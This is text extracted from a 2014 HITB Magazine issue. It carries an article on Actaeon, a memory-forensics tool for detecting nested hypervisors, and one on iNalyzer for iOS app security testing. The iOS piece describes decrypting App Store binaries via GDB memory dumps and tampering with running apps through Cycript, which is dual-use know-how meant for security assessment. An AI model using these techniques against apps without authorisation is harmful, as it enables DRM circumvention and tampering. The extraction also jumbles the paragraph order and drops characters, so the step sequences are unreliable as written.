Computer Security
of the nested OS (L2). Such configuration is pretty common and cannot be analyzed by
current forencisc tools apart Actaeon.
The last important concept that we need to know for understanding how Actaeon
operates is related to the Extended Page Table (also known as EPT) [3]. Such
technology allows the hypervisor to reserve a unique address space for each virtual
machine that was running in the systems. When the EPT is enabled, it is marked
with a dedicated flag in the Secondary Based Execution Control Field in the VMCS
structure. This tells the CPU that the EPT mechanism is active and it has to be used
to translate the guest physical addresses (GPA). The translation happens through
different stages involving four EPT paging structures (namely PML4, PDPT, PD,
and PT). These structures are very similar to the ones used for the normal IA-32e
address mode translation. If the paging is enabled in the guest operating system the
translation starts from the guest paging structures. The PML4 table can be reached
by following the corresponding pointer in the VMCS. Then, the GPA is split and used
as offset to choose the proper entry at each stage of the walk. The EPT translation
process is summarized in Figure 2.
FIGURE 2: EPT-based Address Translation
● Hyperls: This component is implemented as a Python plugin for the Volatility
framework [4], and it consists of around 1,300 lines of code. Its goal is to scan
the memory image to extract the candidate VMCSs. The tool is currently able to
parse all the fields of the VMCS and to properly interpret them and print them in
a readable form. For example, our plugin can show which physical devices and
which events are trapped by the hypervisor, the pointer to the hypervisor code,
the Host and Guest CR3, and all the saved CPU registers for the host and guest
systems. The hyperls plugin can also print a summary of the hierarchy between
the different hypervisors and virtual machines. For each VM, it also reports the
pointer to the corresponding EPT, required to further inspect their content.
● Virtual Machine Introspection: An important functionality performed by Actaeon
is to provide a transparent mechanism for the Volatility frame¬work to analyze
each Virtual Machine address space. In order to provide such functionality,
Actaeon provides a patch for the Volatility core to add one command-line
parameter (that the user can use to specify in which virtual machine he wants to
run the analysis) and to modify the APIs used for address translations by inserting
an additional layer based on the EPT tables. The patch is currently implemented
in 250 lines of Python code.
An Example of Forensic Analysis by using Ac¬taeon
After the theorical explaination on how Actaeon internally works, in this section we
will describe a pratical example of virtual machine memory analysis. For our analysis
we start from a physical memory dump of a host machine and we consider a recursive
configuration where we have one nested hypervisor and one nested OS, see Figure 1.
In particular we run two parallel virtual machines with Windows and Ubuntu OSs, with
KVM hypervisors, moreover inside the Ubuntu guest we install another KVM hypervisor
that runs a Debian guest. The goal of the analysis is to recognize the number of
hypervisors and the hierarchy of the virtual machines running on the system and
extract some system forensic analysis information about the state of the guest OS. In
particular in our example we will show as a success of our analysis the output of plugin
that lists the running processes on the different guests OS that were running into two
different virtual machines.
Actaeon Forensic Model
Actaeon tool is used for providing information about the hypervisors that were running
on the host machine. From an architectural point of view, Actaeon consists of three
components: a VMCS Layout Extractor based on HyperDbg [6], a Volatility plugin
that is able to analyze the memory and provides the list of the running hypervisors
and a patch for the Volatility core that provides a trasparent interface for analyzing
the memory of the virtual machines. More precisely, Actaeon presents three main
functionalities, two of them can be selected as command-line parameters:
● VMCS Layout Extractor: This component is designed to extract and save into a
database the exact layout of a VMCS. The tool is implemented as a small custom
hypervisor that re-uses the initialization code of Hyper-Dbg, to which it adds
around 200 lines of C code to implement the custom checks to identify the
layout of the VMCS.
180 HITB | Issue 10 | january 2014
The first step of our analysis task is to install and configure Actaeon along with the
Volatility tools. In particular, the installation script is divided in three main steps: first
of all we need to download the Actaeon code from git repository, afterwards
we need to download the HyperDbg source code. The HyperDbg code is
required only in case the user needs to reverse engineering the VMCS
layout. In the last step we need to download the Volatility tools and
a patch for the Volatility core in order to support the transparent
analysis of the virtual machines memory. This last step is
important for running analysis into the guest OS. The core of
Volatility is in charge of rebuilding the address space of the
host OS. More in detail starting from a set of signatures of
the Kernel memory Structures, Volatility is able to recognize
the page table and by using such an information it is able
to re-build the virtual OS address space. Once the address
space layer is re-built we can start inspecting the host OS
memory by using forensic analysis. The crucial point when we
Computer Security
have an hypervisor is that the address translation process (physical addresses to virtual
addresses) is handled by another indirection level achieved by the extended page table
(EPT). So in order to transparently hijack this translation mechanism Actaeon patches
the core of Volatility, hooks all the translation functions, and inserts another level of
translation (EPT table). In this way the Volatility core is able to re-build the address
space of guest OS and trasparently apply the forensic plugins.
After the installation and configuration of the system we are ready to start our
forensic analysis. The goal of the first step of our analysis is to recognize which
host hypervisors were running on the system. Such information is the starting point
for discovering the hierarchy of the virtual machines and to per-form any further
analysis. To accomplish this task we execute the Volatility plugin for listing the
running processes on the host machine. As it possible to see from the output of
Actaeon 4, we can recognize two running processes related to a KVM hypervisor that
were running Windows and Linux (Ubuntu) operating systems.
FIGURE 3: hyperls output
FIGURE 4: hyperls nested output
python vol.py -f ./inception.ram --profile=Linux3_6 linux_psaux
Volatile Systems Volatility Framework 2.2
Pid Uid Arguments
1 0 /sbin/init splash
.........
2639 0 sudo kvm -hda ../images/ubu.qcow2 ...
2640 0 kvm -hda ../images/ubu.qcow2 ...
3083 0 sudo kvm -hda ../images/windowsxp.qcow2 ...
3084 0 kvm -hda ../images/windowsxp.qcow2 ...
.........
The third VMCS found in memory brings us the suspicious that a potential nested
virtual machine configuration could exist in the system. In order to verify this
hypothesis and to find out the hierarchy of the Virtual machines in memory a further
investigation has to be done. In particular we need to tell to Actaeon to look for
any nested configurations. As already explained before, following the Turtle scheme
the nested configuration can be spot looking for a VMCS memory structure of type
VMCS02. In this case as you can see from Figure 4 we just need to specify the switch
-N. As a results of such analysis, Figure 4, Actaeon was able to discover the VMCS02
and draw the hierarchy of the virtual machines in memory. In particular Actaeon
shows the presence of two nested hypervisors in a recursive configuration.
182 HITB | Issue 10 | january 2014
Actaeon is able to recognize two type of hierarchies: the parallel configura-tion
and the nested one. In the parallel configuration we have multiple virtual machines
running on the same host as different processes (e.g. two different is-tance of
vmware virtual machines). The nested configuration is like the one that we analyzed
before where a virtual machine runs guest OS that runs another hypervisor that runs
another guest OS. In order to recognize the two different configurations Actaeon
utilizes an heuristic based on the Host Rip VMCS field. The Host Rip represents the
entry point of the Hypervisor code. In case of parallel configuration the Host Rip of
the different VMCS found on the system should point to the same memory address
since the virtual machines are han-dled by the same hypervisor code. Instead in case
of nested configuration the HOST RIP should be different among the different VMCS
but VMCS02. By using such an euristich, Actaeon is able to discover the different
hierarchies among the virtual machines. As a final results of our analysis Actaeon was
able to show that in our host, there were running in total three virtual machines, two
guests in parallel: Windows and Ubuntu with KVM hypervisors, and one KVM nested
into the Ubuntu virtual machine that was running a Debian environment.
Computer Security
The next step of our analysis is to search for a potential VMCS, running in the system.
It is important to note that even if there are only two processes related to the KVM
hypervisor we can have multiple nested virtual machines running at the same time
that are invisible at the first sight. For this reason we need to use Actaeon to perform
a more sophisticated analysis. As we can see by Figure 3 the next step of our analysis
is devoted to search for all possible VMCS memory structures; in order to do that
we basically specify new command-line parameters that use the following options:
(1) microarchitecture related to the analyzed host (sandy in this case) and (2) the
command of Actaeon (hyperls) that triggers the execution of Actaeon plugin. As you
can see in Figure 3 the result of the command execution shows that in this case
Actaeon was able to discover three VMCS’s memory structures.
january 2014 | Issue 10 | HITB 183
Computer Security
Once we have discovered the nested configuration of the hypervisor we can
apply more sophisticated memory analysis. It is important to note that in order
to connect a VMCS to the memory address space of the VMs we use the EPT
information and we start analyzing the whole phyiscal memory for each VMs. We
apply the usual forensic analysis (e.g. Volatility plugins) just specifying a new
switch on the Volatility command line: –EPT= ept address table. In our example
we successfully extract the list of the running processes that were running into
the Guest OS, see:
python vol.py -f ./vmware_ept.ram --profile=Linux_3_6 linux_psaux
Volatile Systems Volatility Framework 2.2
Pid Uid Arguments
1 0 /sbin/init splash
.........
2982 1000 /usr/lib/vmware/bin/vmware-unity-helper --daemon
3581 1000 /usr/lib/vmware/bin/vmware-vmx
-s vmx.stdio.keep=TRUE -# product=1;name=VMware Workstation;
version=9.0.1;licensename=VMware Workstation;
licenseversion=9.0;[email protected] duplex=3;msgs=ui
vmware/Windows XP Professional/Windows XP Professional.vmx
3601 1000 /usr/lib/vmware/bin/thnuclnt
.........
and the following figures to figure out the whole analysis: Figure 5 and Figure 6.
FIGURE 5: hyperls output
This article presents the principles of the forensic analysis for virtualization
environments. We rst illustrate some basic concepts about the internals of Hardware
assisted virtualization in Intel environment such as nested conguration and Extended
Page Table (EPT).We then describe the main functionalities of Actaeon, the rst
automatic forensic analyzer that is able to search for virtual machines that were
running on the host system. Actaeon is designed for nding out hypervisor memory
structures, to discover the hierarchy among dierent hypervisors and also it creates a
transparent interface for running the Volatility plugins applied on the virtual machines
address space. In addition we show some practical examples of how to use Actaeon in
order to perform forensic analyses and how to analyze the obtained results. ¶
References
1. Actaeon: Hypervisors Hunter. http://www.s3.eurecom.fr/tools/actaeon/.
2. Intel 64 and IA-32 Architectures Developer’s Manual: Vol. 3b. http://www.intel.com/content/
www/us/en/architecture-and-technology/64-ia-32-architectures-software-developer-vol-3b-part2-manual.html.
3. VMX Support for address translation. http://www.intel.com/content/www/us/en/architecture-andtechnology/64-ia-32-architectures-software-developer-vol-3c-part-3-manual.html.
4. Volatility framework: Volatile memory artifact extraction utility framework. https://www.
volatilesystems.com/default/volatility.
5. Muli Ben-Yehuda, Michael D. Day, Zvi Dubitzky, Michael Factor, Nadav Har’El, Abel Gordon,
Anthony Liguori, Orit Wasserman, and Ben-Ami Yas-sour. The turtles project: design and
implementation of nested virtualization. In Proceedings of the 9th USENIX conference on
Operating systems design and implementation, OSDI’10, pages 1–6, Berkeley, CA, USA, 2010.
USENIX Association.
6. Aristide Fattori, Roberto Paleari, Lorenzo Martignoni, and Mattia Monga. Dynamic and
transparent analysis of commodity production systems. In Proceedings of the 25th International
Conference on Automated Software Engineering (ASE), pages 417–426, September 2010.
7. Gerald J. Popek and Robert P. Goldberg. Formal requirements for virtualizable third generation
architectures. Commun. ACM, 17(7):412–421, July 1974.
184 HITB | Issue 10 | january 2014
Computer Security
FIGURE 5: hyperls output
Conclusion
january 2014 | Issue 10 | HITB 185
Introduction to Advanced Security Analysis of
iOS Applications
with iNalyzer
Chilik Tamir, [email protected]
P
erforming security analysis of iOS applications is a tedious task; there
is no source code and there is no true emulation available. Moreover,
communication is usually signed or encrypted by the application, leaving the
standard tampering and injection attacks worthless. Needless to say that
time spent on testing such applications increases substantially due to the fact that
not every automatic tool can be used on the captured signed-traffic, including the
conventional scanners (such as Burp, Accunetix, Webinspect and AppScan).
In the following article I will present my latest research on a new approach to
performing security assessments of iOS applications utilizing the iNalyzer, a free
open-source framework for security assessment of iOS Applications.
But before we dive deep into iOS security analysis let us review some of the basic rules…
The Ten Commandments of iOS Security Analysis
I. Thou shalt have… Root Access on iOS.
In order to convince the application that your data is legitimate
you must own a greater permission set, namely root. Therefore
you need to perform analysis on a jail-broken device, usually
running analysis under root.
II. Thou shalt not … have any source of iOS App.
Unlike Android or other platforms, there are no true emulators
for the iOS hardware; applications are built using Objective-C
and are packed in Mach-O archives. Reversing these archives
leaves you with assembly instructions which are a head-over for
a simple security analysis test.
III. Thou shalt not … perform analysis on a device without backup.
During tests you will likely destroy most of your data, so backup the device on a
regular basis.
Hence, during analysis you can identify their usage in outgoing
requests and inside database content.
V. Honor thy … application request encryption and signing scheme
You may notice that some requests are sent encrypted or signed to server side.
Tampering with these requests usually ends up with broken responses from the server
or with false positive findings. Using the normal proxy-tampering approach on such
requests is impractical.
VI. Thou Shalt Not Kill … a process without saving a restoration point.
Often you will end up killing the application process during analysis, hence,
keeping a clean note on the analysis tests and current stage is highly
recommended. These notes will assist you to resume tests within seconds after
you re-launch the process.
186 HITB | Issue 10 | january 2014
Mobile Security
IV. Remember the … device identification strings (UDID,
IMEI etc.).
january 2014 | Issue 10 | HITB 187
Mobile Security
VII. Thou Shalt Not Commit Adultery… never install pirated software.
Pirated software tends to be hosted by peculiar sources, once installed they can
easily modify the true nature of the application behavior. Never install pirated
software on your testing device.
VIII. Thou Shalt Not Steal… never distribute pirated software.
Security analysis process includes disablement of the internal application encryption
module which acts as DRM for all Apple applications. Distributing copyrighted
applications is wrong and considered a crime in most parts of the world.
IX. Thou Shalt Not Bear … answer a call during testing.
Incoming calls tend to break testing logic and suspend the targeted application,
hence, during testing place the device in airplane mode or remove the SIM card.
X. Thou Shalt Not Covet.
It is true that in order to conduct security analysis on iOS applications
you will need an actual device, but that doesn't mean you can demand
a diamond studded, platinum iPhone5 from your employer.
Now that we have clarified these points, let’s review the work method
we have been familiar with until now and see what it takes to adjust it for iOS testing.
➤ We do not have the ability to find out what are the peers of the system in the outer
world!
‘Please sign here’ – what happens if we want to test an application when the client
sends sealed requests, or when it sends requests via 3G and we don’t have the ability
to intercept and play with them? We have a high chance of missing coverage and
problems, since all of our requests will fail validation or server side compatibility.
➤ We do not have the ability to play with signature, so if the client seals request it’s
game over!
‘Easter Eggs’ – which functionalities are hiding in my client application that I don’t
know about? “I didn’t see it during testing”, “I didn’t know it existed…”, “How do I
know with complete certainty that I covered the entire system and don’t have any
Easter Eggs in my product?”
➤ We do not have the ability to uncover all of the hidden functionalities within the
system.
‘Where are the keys’ - are there any sensitive keys in the code? Are there other sensitive
parameters hidden in the application? Sometimes the developers do silly things like
upload the application together with a complete document describing the entire API
FIGURE 2
This is what we have
Until now, in order to test a web application we would set up a testing environment
in the following scheme:
FIGURE 1
What do I know about the system?
‘Houston, we have a problem’ – where does the application connect to? Do I know for
a fact that I have covered all of the systems’ access points by performing a manual
test? What is my coverage rate? What have I missed?
188 HITB | Issue 10 | january 2014
Cycript – changing approach
We understand the application itself possesses the know-how of performing
signatures and of passing all stages until the request is sent to the server, so, we
would like a convenient way of feeding fake or tampered values into the application.
Moreover, if we had the ability to debug the application we could change memory
addresses and values on-the-fly and let the application send the tampered messages
to the server. But as we said for objC, the compilation is to a Mach-O file in machine
Mobile Security
This means an external server, proxy and a mobile device. This is good for simple
applications: you interact with the proxy, connect a scanner and let it run automatically
while you focus on the manual tests. But there are some crucial questions that need
answering in our analysis before we can say that the test is complete:
➤ We lack information on the application files and its’ true content!
The problem with all of these questions is that we cannot answer them from the proxy,
we don’t know neither if we covered all of the potential requests nor if all of the
relevant files were loaded on the device. In many cases the content is encrypted so
even regular tampering tests are problematic and we will get a lot of false-positives.
january 2014 | Issue 10 | HITB 189
Mobile Security
language with no mediation language, so our general ability to debug the application
is to work with GDB.
FIGURE 4
Fortunately for us, there is a man named Jay Freeman (AKA Saurik) who really loves
challenging the Apple guys and keeps coming out with wonderful tools (such as Cydia)
for public use. One of these tools is Cycript.
Cycript is an interpreter that combines ObjC syntax with JavaScript and allows us to
connect to an existing process and play with it directly.
Let’s look at an example in which we connect with the SpringBoard process and start
playing with it using Cyript:
FIGURE 3
The structure of this type of file encompasses all the templates of the objects it
needs in order to run. In other words, I can ask our system file which objects and
methods it requires in order to run.
Let’s experiment: we will use Apple’s otool in order to question a Mach-O file, we are
mainly interested in what data is stored wrote into its ObjC segment:
FIGURE 5
When I write:
UIApp.delegate.keyWindow.firstResponder.delegate->_statusView>_lcdView.text="Hello Hacker"
With Cycript we can easily deal with the runtime of JavaScript and ObjC, the only
problem with using Cycript is the need to know the different objects in the system
and the selectors and methods it can accept.
Like we said – we are performing a Black Box test, so where do we get the information
from?
The answer is: from the Mach-O !
Don’t Mach-O about!
Yes, we are going to take advantage of the unique structure of the Mach-O file for the
sake of extracting information about our system.
190 HITB | Issue 10 | january 2014
We will then run the otool on our system file (in this case the iOS 5.0.1 SpringBoard)
and request all of the listings under the ObjC segment of the Mach-O fie (we trimmed
the output to show first 50 lines):
Mobile Security
We will immediately see the system and the display change (Figure 4 next page).
january 2014 | Issue 10 | HITB 191
Mobile Security
FIGURE 6
So, at this point we can question a Mach-O file and extract details from it
about the different objects.
But it is one huge job to start cross referencing otools output to a meaningful objects
and methods map, one like that will enable us to use in the tests… And this is where
class-dump-z comes into the picture!
Classy class-dump-z
As mentioned, all of the information already appears in the Mach-O file and all we
have left is to put this puzzle of objects together, that is what class-dump-z does for
us: it compiles all of the data to the form of an original header!
And here is an example:
FIGURE 7
As you can see, what we got is the structure of the object, its name and which
parameters it receives and sends back.
So let’s see what objects in the system file are related to the LockView:
FIGURE 6
We can see the selector we chose was realised in four objects, including
SBSlidingAlertDisplay, SBDeviceLockViewDelegate etc.
We check our system file like we did last time and with the use of some commandline-nunjitsu we get a list of every appearance of the words LockView in the system
file. (Note, for example, the @deviceLockViewPasscodeEntered method).
192 HITB | Issue 10 | january 2014
In this case, we can use Cycript to play with the application with a deeper
understanding of its methods and objects. This means that we will be dealing with
the application instead of the communication – and will trust that the output will
come out the way we want it to.
Mobile Security
In the above image we requested class-dump-z to assemble every interface/object
that implements the call to the method/selector “deviceLockViewPasscodeEntered”,
the software collected and cut and pasted the raw information we saw in the ObjC
segment of the system file, and created an original header file for us which can be
worked with in Cycript.
january 2014 | Issue 10 | HITB 193
Mobile Security
All this refers to cases in which the application is not encrypted, but the files
downloaded from the AppStore are encrypted – so it is important that we discuss the
process when referring to an iOS encrypted application.
Stop! Password!
A short review of the encryption process: the process of downloading applications
from the AppStore includes an encryption of the application’s Mach-O file by the
Apple server. The encryption is performed using private keys on the device, which
theoretically prevents the user from running the application on a different device.
The applications won’t work since the keys don’t match the encryption keys belonging
to the device that downloaded the application.
One can easily identify whether the Mach-O file is encrypted by asking otool for the
segments loading (-l) commands:
FIGURE 8
Sounds like a lot of work:
1. First, decode application
2. Then analyze the objects
3. Then connect all the objects into a meaningful hierarchy map
4. Then use Cycript and the information collected to analyze the running process
Isn’t there a tool that can perform all of this tedious work for us?
Well there wasn’t one, so I wrote the iNalyzer…
The iNalyzer !
The iNalyzer is a special environment for testing iOS based systems. It collects
all of the data from the system file and from class-dump-z and then generates a
Doxygen-based Command&Control interface for Cycript, which gives us a full testing
environment.
Some advantages of the iNalyzer: automatic activation of class-dump-z, collecting
all of the information we need for the tests, it is a single tool that will perform all of
the dirty work and let us deal only with the system and Cycript with no signatures, no
games; an automatic way of decoding dump:
FIGURE 10
The above example shows that the cryptid flag is on, so we know this Mach-O file is
encrypted, if we ask the class-dump-z to show the different objects we will receive
a warning such as this, along with a missing output:
FIGURE 9
In order to get over this obstacle we need some understanding of the decoding
process: during activation of the application, the system loads the keys and decodes
the encrypted segment within the Mach-O file downloaded from the AppStore. Once
the decoding is complete the application starts to run.
This means that the application is stored in the memory in decoded state one second
before it starts to run, if we could connect with the application using GDB we will
be able to set a DB on a start address and dump from there to the memory of that
segment. Then we will be able to edit the Mach-O file so it contains the unencrypted
version dumped from the memory, and then we will be able to use class-dump-z and
let it work its magic.
194 HITB | Issue 10 | january 2014
Here are a number of examples of what iNalyzer provides.
Presentation of external links, for the sake of mapping interface points with external
servers (Figure 11, page 45).
Showing used URI interface, for the sake of mapping out external activations of
other applications and injections (Figure 12, page 45).
Mobile Security
Class-dump-z notifies us that the file is encrypted and so we cannot extract
information from it, it recommends we use an unencrypted file.
january 2014 | Issue 10 | HITB 195
Mobile Security
FIGURE 11
FIGURE 14
FIGURE 15
FIGURE 12
FIGURE 16
CFURL interface which is registered with the
system and act as additional activation point, and a
convenient attack vector (Figure 14, page 47).
Presentation of all the system objects, for the sake
of exposing problematic or redundant functionalities (Figure 15, page 47).
Presenting all of the system methods, for the sake of direct activation by Cycript
(Figure 16, page 47).
Presenting all of the system variables, for the sake of tampering attacks (Figure 17,
page 48).
196 HITB | Issue 10 | january 2014
Mobile Security
Showing SQL strings in use, for the sake of
vulnerability analysis of local and remote
injections:
FIGURE 13
january 2014 | Issue 10 | HITB 197
Mobile Security
FIGURE 17
FIGURE 19
Presenting all of the system characteristics, for the sake of injection / tampering attacks:
FIGURE 18
FIGURE 20
Now instead of using proxy to perform attacks like in regular web-based systems,
I turn the application into the spearhead in the testing process, so our testing
environment looks like the following diagram:
FIGURE 21
In addition to all this, the interface includes a Cycript activation environment
directly to the device, so there is no need to open SSH and work from a terminal
(Figure 20, page 49).
iNalyzer enables us to stop referring to information security tests on iOS systems as
Black Box; it allows me to receive all of the available information in a convenient
way into a user-friendly testing interface.
198 HITB | Issue 10 | january 2014
Summary
In this article, I tried to squeeze in as many subjects related with the iOS application
testing environment, I did not cover most of the subjects in depth, but I am a great
believer in ones’ ability to learn and advance at his own pace. The main idea was
Mobile Security
Presenting all of the embedded strings from the Mach-O file, for the sake of sensitive
information leakage damage analysis (Figure 19, page 49).
january 2014 | Issue 10 | HITB 199
Mobile Security
to introduce you to the key players in this process, as well as presenting some of
the methodology it encompasses. In addition, I presented the iNalyzer to you as an
advanced system for this type of testing and I demonstrated some of its advantages.
I will be very happy if you find the iNalyzer to be helpful in your analysis process,
and will be even happier if you decide to customize it according to your needs. This
is why it is distributed as a free, open source tool. You can download it from our
website and find other updates and movies. The entire article is given for free, for
the good of the community and I am hopeful you find it interesting and helpful, if you
would like you are welcome to contact me for questions and feedback. ¶
About the Author
Chilik Tamir is an information security expert with over two decades of experience in research,
development, testing, consulting and training in the field of applicative information security for
clients in the fields of finance, security, government offices and corporations. Among his previous
publications you will find AppUse – a testing environment for Android applications developed
together with Erez Metula; Belch – an automatic tool for analysis and testing of binary protocols
such as Flex and Java-Serialization; as well as his lectures in conferences in Israel such as HITB
Amsterdam 2013, OWASP IL 2011 and OWASP IL 2012. He is the Chief Scientist at AppSec Labs,
where he acts as head of R&D and innovation.
HITB Magazine is currently seeking submissions for our next issue.
If you have something interesting to write, please drop us an email at:
[email protected]
Topics of interest include, but are not limited to the following:
* Next generation attacks and exploits
* Apple / OS X security vulnerabilities
* SS7/Backbone telephony networks
* VoIP security
* Data Recovery, Forensics and Incident Response
* HSDPA / CDMA Security / WIMAX Security
* Network Protocol and Analysis
* Smart Card and Physical Security
200 HITB | Issue 10 | january 2014
* WLAN, GPS, HAM Radio, Satellite, RFID and
Bluetooth Security
* Analysis of malicious code
* Applications of cryptographic techniques
* Analysis of attacks against networks and machines
* File system security
* Side Channel Analysis of Hardware Devices
* Cloud Security & Exploit Analysis
Please Note: We do not accept product or vendor related pitches. If your article involves an advertisement for a new product or
service your company is offering, please do not submit.
Contact Us
HITB Magazine
Hack In The Box
36th Floor, Menara Maxis,
Kuala Lumpur City Centre
50088 Kuala Lumpur
Malaysia
Tel: +603-2615-7299
Fax: +603-2615-0088
Email: [email protected]
Was this manual useful for you? yes no
Thank you for your participation!

* Your assessment is very important for improving the work of artificial intelligence, which forms the content of this project

Download PDF

advertisement